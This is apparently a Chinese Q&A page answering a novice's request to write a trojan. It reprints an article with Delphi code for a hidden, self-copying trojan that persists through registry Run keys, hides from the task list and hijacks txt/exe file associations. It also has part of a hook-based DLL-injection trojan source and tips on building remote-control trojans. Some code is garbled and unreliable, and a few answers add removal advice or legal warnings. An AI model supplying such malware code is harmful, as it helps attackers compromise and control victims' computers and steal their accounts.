如何编写木马程序_编写一个木马程序

hacker|
235

怎么编写木马程序?请各位大哥大姐们指点一二,越详细越好,小弟一点不懂编程哦!

其实做这个很简单的,现在我感觉做木马关键在于创意了 我电脑中收集过的一篇文章,给你参考一下 “冰河”启示录 前言:我经常在杂志和报刊上看到此类标题的文章,但大多是骗稿费的,没有任何技术含量.于是一气之下写了这编东西.本人声明如下:(一)本人对"冰河"及其作者没有任何不满,相反,作者肯帮助初学者的态度是我们每一个人都应该学习的.(二)本文的目的在于交流编程经验,没有任何其它不良企图.(三)在一些领域,我们理应宁可自制力让我们的预见力保持寂寞,也不要去做一个打开潘多拉盒子的先知。所以一些更厉害的方法我们现在不会提,以后也不会.--2000.8.3 (1) “冰河”是有名的用C++Builder编写的国产远程管理软件,其自我的功能保护很强,下面就以Delphi为例谈一谈它的原理,希望对大家有一些启发. 一、程序安装 此类程序一般会把自己隐藏起来运行,通常不外乎以下几种方法:自我拷贝法、资源文件法、网页方式安装、类病毒捆绑法(如YAI).自我拷贝法适用于本身就一个文件,资源文件法可以同时安装好几个文件,网页方式安装要先向M$交钱换安全签证,类病毒捆绑法利用了病毒的原理.本文只介绍自我拷贝法,其它方法请到我的个人主页去看. 1:自我拷贝法 这种方法的原理是程序运行时先查看自己是不是在特定目录下,如果是就继续运行,如果不是就把自己拷贝到特定目录下,然后运行新程序,再退出旧程序. 打开Delphi,新建一个工程,在窗口的Create事件中写代码: procedure TForm1.FormCreate(Sender: TObject); var myname: string; begin myname := ExtractFilename(Application.Exename); //获得文件名 if application.Exename GetWindir + myname then //如果文件不是在Windows\System\那么.. begin copyfile(pchar(application.Exename), pchar(GetWindir + myname), False);{将自己拷贝到Windows\System\下} Winexec(pchar(GetWindir + myname), sw_hide);//运行Windows\System\下的新文件 application.Terminate;//退出 end; end; 其中GetWinDir是自定义函数,起功能是找出Windows\System\的路径. function GetWinDir: String; var Buf: array[0..MAX_PATH] of char; begin GetSystemDirectory(Buf, MAX_PATH); Result := Buf; if Result[Length(Result)]'\' then Result := Result + '\'; end; 另外,为了避免同时运行多个程序的副本(节约系统资源也),程序一般会弄成每次只能运行一个.这又有几种方法. 一种方法是程序运行时先查找有没有相同的运行了,如果有,就立刻退出程序. 修改dpr项目文件,修改begin和end之间的代码如下: begin Application.Initialize; if FindWindow('TForm1','Form1')=0 then begin //当没有找到Form1时执行下面代码 Application.ShowMainForm:=False; //不显示主窗口 Application.CreateForm(TForm1, Form1); Application.Run; end; end. 另一种方法是启动时会先通过窗口名来确定是否已经在运行,如果是则关闭原先的再启动。“冰河”就是用这种方法的。 这样做的好处在于方便升级.它会自动用新版本覆盖旧版本. 方法如下:修改dpr项目文件 uses Forms,windows,messages, Unit1 in 'Unit1.pas' {Form1}; 为了程序能在Windows每次启动时自动运行,可以通过六种途径来实现.“冰河”用注册表的方式。 加入Registry单元,改写上面的窗口Create事件,改写后的程序如下: procedure TForm1.FormCreate(Sender: TObject); const K = '\Software\Microsoft\Windows\CurrentVersion\RunServices'; var myname: string; begin {Write by Lovejingtao, ,Lovejingtao@21cn.com} myname := ExtractFilename(Application.Exename); //获得文件名 if application.Exename GetWindir + myname then //如果文件不是在Windows\System\那么.. begin copyfile(pchar(application.Exename), pchar(GetWindir + myname), False);{//将自己拷贝到Windows\System\下} Winexec(pchar(GetWindir + myname), sw_hide);//运行Windows\System\下的新文件 application.Terminate;//退出 end; with TRegistry.Create do try RootKey := HKEY_LOCAL_MACHINE; OpenKey( K, TRUE ); WriteString( 'syspler', application.ExeName ); finally free; end; end; 为了让程序用ALT+DEL+CTRL看不见,在implementation后添加声明: function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer; stdcall; external 'KERNEL32.DLL'; 再在上面的窗口Create事件加上一句:RegisterServiceProcess(GetCurrentProcessID, 1);//隐藏 启示1:当我们中了“冰河”,如果被对方上了密码而无法自己卸载时,可以先找出是什么文件,然后自己配置一个没有密码的来运行,这样它就会把原来有密码的覆盖掉,自己就可以轻松用它的卸载功能把它卸掉.如果你会编程,也可以自己写一个"清除器"了,方法是先查找到窗口名,向它发送退出命令,再把它删除即可. (2) “冰河”的自我功能保护很强,它一般通过Txt或Exe文件关联来达到自我恢复.所以有很多人明明把它杀掉了,但重新启动时又会出现.下面举以Txt文件关联为例. 打开Delphi,新建一个工程,在窗口的Create事件中写代码: uses Registry procedure TForm1.FormCreate(Sender: TObject); const Kkk = '\Software\Microsoft\Windows\CurrentVersion\RunServices'; const K = '\txtfile\shell\open\command'; var sFileName:string; begin //****************************************************** with TRegistry.Create do //写注册表,让程序跟文本文件关联 try RootKey := HKEY_CLASSES_ROOT; OpenKey( K, TRUE ); {Write by Lovejingtao, } WriteString( '', application.ExeName+' "%1" '); {Write by Lovejingtao,lovejingtao@21cn.com} finally free; end; //******************************************************* with TRegistry.Create do //写注册表,每次启动时自动运行 try RootKey := HKEY_LOCAL_MACHINE; OpenKey( Kkk, TRUE ); WriteString( 'myTray', application.ExeName ); finally free; end; //******************************************************** if FileExists(pchar(Getwindir+'Sysplay.exe'))=false then//如果文件已经删除 begin copyfile;//自定义拷贝资源文件过程 winexec(pchar(Getwindir+'Sysplay.exe'),sw_hide); end; //********************************************************** if ParamCount0 then begin (* 有执行参数传入 *) sFileName:=ParamStr(1); (* 取得参数内容 *) winexec(pchar('Notepad.exe '+sFileName),sw_show);(*用记事本打开*) //winexec(pchar( sFileName),sw_show); end; //******************************************************* application.Terminate;//退出 end; 如果要改为与Exe文件关联,只要把"const K = '\txtfile\shell\open\command';"改为 "const K = '\exefile\shell\open\command';",把"winexec(pchar('Notepad.exe '+sFileName),sw_show);" 改为"winexec(pchar( sFileName),sw_show);"即可.当然,还要加入是否退出Windows而运行的Rundll32.dll, 否则会因为关联Exe文件而退不出Windows. 启示2:手工删除“冰河”时,还要改掉它的保护功能,不能让它恢复.如果是关联了文本文件,先改注册表让它不能自动运行,重启后不要打开文本文件,立刻进到其安装目录把它删除.如果是关联了Exe文件,那只有回到Dos下删.切记:一定要把两个文件同时删掉,否则你重启后会发现文件又恢复了

怎么做木马?

问题一:怎么制作木马程序? 你需要学会编程才能编写木马编写木马最好用vc++。enet/eschool/video/c++/ 这是c++的教程,你学懂了这些皮毛的东西再深入研究内核编程吧如果上面的地址打不开可以到这里pconline/pcedu/empolder/gj/vc/0607/820674

问题二:木马和病毒是怎么做出来的呢? 哈哈...木马和病毒都属于执行程序...

木马(Trojan)这个名字来源于古希腊传说(荷马史诗中木马计的故事,Trojan一词的本意是特洛伊的,即代指特洛伊木马,也就是木马计的故事)。

“木马”程序是目前比较流行的病毒文件,与一般的病毒不同,它不会自我繁殖,也并不“刻意”地去感染其他文件,它通过将自身伪装吸引用户下载执行,向施种木马者提供打开被种者电脑的门户,使施种者可以任意毁坏、窃取被种者的文件,甚至远程操控被种者的电脑。“木马”与计算机网络中常常要用到的远程控制软件有些相似,但由于远程控制软件是“善意”的控制,因此通常不具有隐蔽性;“木马”则完全相反,木马要达到的是“偷窃”性的远程控制,如果没有很强的隐蔽性的话,那就是“毫无价值”的。

它是指通过一段特定的程序(木马程序)来控制另一台计算机。木马通常有两个可执行程序:一个是客户端,即控制端,另一个是服务端,即被控制端。植入被种者电脑的是“服务器”部分,而所谓的“黑客”正是利用“控制器”进入运行了“服务器”的电脑。运行了木马程序的“服务器”以后,被种者的电脑就会有一个或几个端口被打开,使黑客可以利用这些打开的端口进入电脑系统,安全和个人隐私也就全无保障了! 木马的设计者为了防止木马被发现,而采用多种手段隐藏木马。木马的服务一旦运行并被控制端连接,其控制端将享有服务端的大部分操作权限,例如给计算机增加口令,浏览、移动、复制、删除文件,修改注册表,更改计算机配置等。

随着病毒编写技术的发展,木马程序对用户的威胁越来越大,尤其是一些木马程序采用了极其狡猾的手段来隐蔽自己,使普通用户很难在中毒后发觉。

木马得种类

1. 网络游戏木马

随着网络在线游戏的普及和升温,我国拥有规模庞大的网游玩家。网络游戏中的金钱、装备等虚拟财富与现实财富之间的界限越来越模糊。与此同时,以盗取网游帐号密码为目的的木马病毒也随之发展泛滥起来。

网络游戏木马通常采用记录用户键盘输入、Hook游戏进程API函数等方法获取用户的密码和帐号。窃取到的信息一般通过发送电子邮件或向远程脚本程序提交的方式发送给木马作者。

网络游戏木马的种类和数量,在国产木马病毒中都首屈一指。流行的网络游戏无一不受网游木马的威胁。一款新游戏正式发布后,往往在一到两个星期内,就会有相应的木马程序被制作出来。大量的木马生成器和黑客网站的公开销售也是网游木马泛滥的原因之一。

2. 网银木马

网银木马是针对网上交易系统编写的木马病毒,其目的是盗取用户的卡号、密码,甚至安全证书。此类木马种类数量虽然比不上网游木马,但它的危害更加直接,受害用户的损失更加惨重。

网银木马通常针对性较强,木马作者可能首先对某银行的网上交易系统进行仔细分析,然后针对安全薄弱环节编写病毒程序。如2004年的“网银大盗”病毒,在用户进入工行网银登录页面时,会自动把页面换成安全性能较差、但依然能够运转的老版页面,然后记录用户在此页面上填写的卡号和密码;“网银大盗3”利用招行网银专业版的备份安全证书功能,可以盗取安全证书;2005年的“新网银大盗”,采用API Hook等技术干扰网银登录安全控件的运行。

随着我国网上交易的普及,受到外来网银木马威胁的用户也在不断增加。

3. 即时通讯软件木马

现在,国内即时通讯软件百花齐放。QQ、新浪UC、网易泡泡、盛大圈圈……网上聊天的用户群十分庞大。常见的即时通讯类木马一般有3种:

一、发送消息型。通过即时通讯软件自动发送含有恶意网址的消息,目的在于让收到消息的用户......

问题三:怎么制作简单木马? 一个简单的vc++6.0下的木马源码 木马源程序,包括客户端和服务端PCSshare的客户端代码:

#include stdafx.h

#include SshWork.h

#pragma data_seg(Shared)

char m_CharFileName[256] = {0};

HHOOK g_hook = NULL;

HHOOK g_khook = NULL;

INITDLLINFO m_InitInfo = {0};

BOOL m_IsOk = FALSE;

#pragma data_seg()

#pragma ment(linker,/section:Shared,rws)

HINSTANCE ghInstance = NULL;

SshWork m_Work;

BOOL APIENTRY DllMain( HANDLE hModule,

DWORD ul_reason_for_call,

LPVOID lpReserved

)

{

switch (ul_reason_for_call)

{

case DLL_THREAD_ATTACH:

case DLL_THREAD_DETACH:

case DLL_PROCESS_DETACH:

break;

case DLL_PROCESS_ATTACH:

ghInstance = (HINSTANCE) hModule;

break;

default : break;

}

return TRUE;

}

LRESULT WINAPI GetMsgProc(int nCode, WPARAM wParam, LPARAM lParam)

{

LRESULT lResult = CallNextHookEx(g_hook, nCode, wParam, lParam);

查看是否为指定进程

if(!m_IsOk m_InitInfo.m_ProcessId == GetCurrentProcessId())

{

找到指定进程取消hook

m_IsOk = TRUE;

if(g_hook) UnhookWindowsHookEx(g_hook);

通知主进程退出

HANDLE m_WaitEvent =

OpenEvent(EVENT_ALL_ACCESS,FALSE,

m_InitInfo.m_EventName);

if(m_WaitEvent)

{

SetEvent(m_WaitEvent);

CloseHandle(m_WaitEvent);

}

Sleep(1000);

装载DLL到进程

m_Work.m_Module = LoadLibrary(m_InitInfo.m_StartFile);

if(m_Work.m_Module)

{

m_Work.StartWork(m_InitInfo);

}

}

return lResult;

}

BOOL PlayWork(LPINIT......

问题四:木马病毒怎样制作 上网先学学把,别自己先中毒了,网上就有代码下载的

问题五:怎么制作木马病毒 5分 这是个比较复杂的问题,病毒开发不同于普通应用开发,需要更广泛的和更深入的编成技术 系统底层问题:截取屏幕、Hook鼠标键盘 网络问题:涉及到拦截数据报文,加解密数据 反侦测问题:隐藏进程…………学编程2~3个月,用Delphi之类的软件,一般就可以开发普通应用程序 VC++最多6个月,也能搞出些东西 但要搞病毒木马等,先学3年再考虑。

问题六:怎么做木马? 木马是内行的 但是你做木马 不要涉及财物之类的

盗取财物就涉及违法了

一般木马中毒都是通过下载软件,浏览未知网页

Trojan一词的特洛伊木马本意是特洛伊的,指特洛伊木马,是木马计的故事

木马会盗取你的账号,信息等资料

如果电脑中了木马建议尽快杀毒以免造成系统问题

可以先做一次全盘杀毒

然后针对性的:

腾讯电脑管家--工具箱--木马克星 (针对于杀了又出现的顽固病毒)

最后开启实时防毒保护。

问题七:怎么制作简单的木马程序 您好

1,制作木马和使用木马病毒都是违法犯罪的行为,不建议您去学习。

2,制作出木马病毒程序后,这个程序就会自动开始执行,对您的电脑首先开始盗取帐号木马以及破坏程序。

3,所以如果自己受到了攻击或者盗号,不要用这种方式,要以正当途径来解决。

4,建议您到腾讯电脑管家官网下载一个电脑管家。

5,电脑管家拥有16层实时防护功能和QQ帐号全景防御系统,可以从上网安全、应用入口、系统底层等全方位保护电脑安全不受木马病毒侵袭,而且电脑管家还可以全方位多维度保护账号安全,精确打击盗号木马,瞬时查杀并对风险预警。

如果还有其他疑问和问题,欢迎再次来电脑管家企业平台进行提问,我们将尽全力为您解答疑难

问题八:如何做远程控制的木马? 配置一个动态域名,然后设置客户端,通过漏洞发送,进行远程控制,建议你看看动画教程,以前的灰鸽子什么的是个经典,先把那个研究透了什么都会了

怎么用C语言编写木马、病毒等程序?

C语言当然可以编写病毒,事实上很多程序都是用C/C++编写出来的。\x0d\x0a编程语言本身没有“贵贱”之分,只用用好了,都是相当强的;区别在于主要适用范围、编写的难易程序、执行效率的高低、学习的难易程度,等等。\x0d\x0aC语言只是一种计算机程序的编写格式规范,到至于可以编写出来什么样的程序,还要看你所用的C语言编译器,(比如TC,VC,LCC,GCC等,太多了)。\x0d\x0a如果有编写windows程序,就不能用TC,它只能编写DOS程序,而应该用VC,LCC,C++Builder等编译工具)\x0d\x0a编写出来的程序肯定要调用操作系统提供的功能,如编windows程序,就要调用Win32 API,Dos程序则调用的是DOS中断,编程实际上就是对这些操作系统所提供功能的调用。\x0d\x0a现在的病毒很多都是用常用的编程工具编写的,如VC++,delph,VC,Win32汇编等

0条大神的评论

发表评论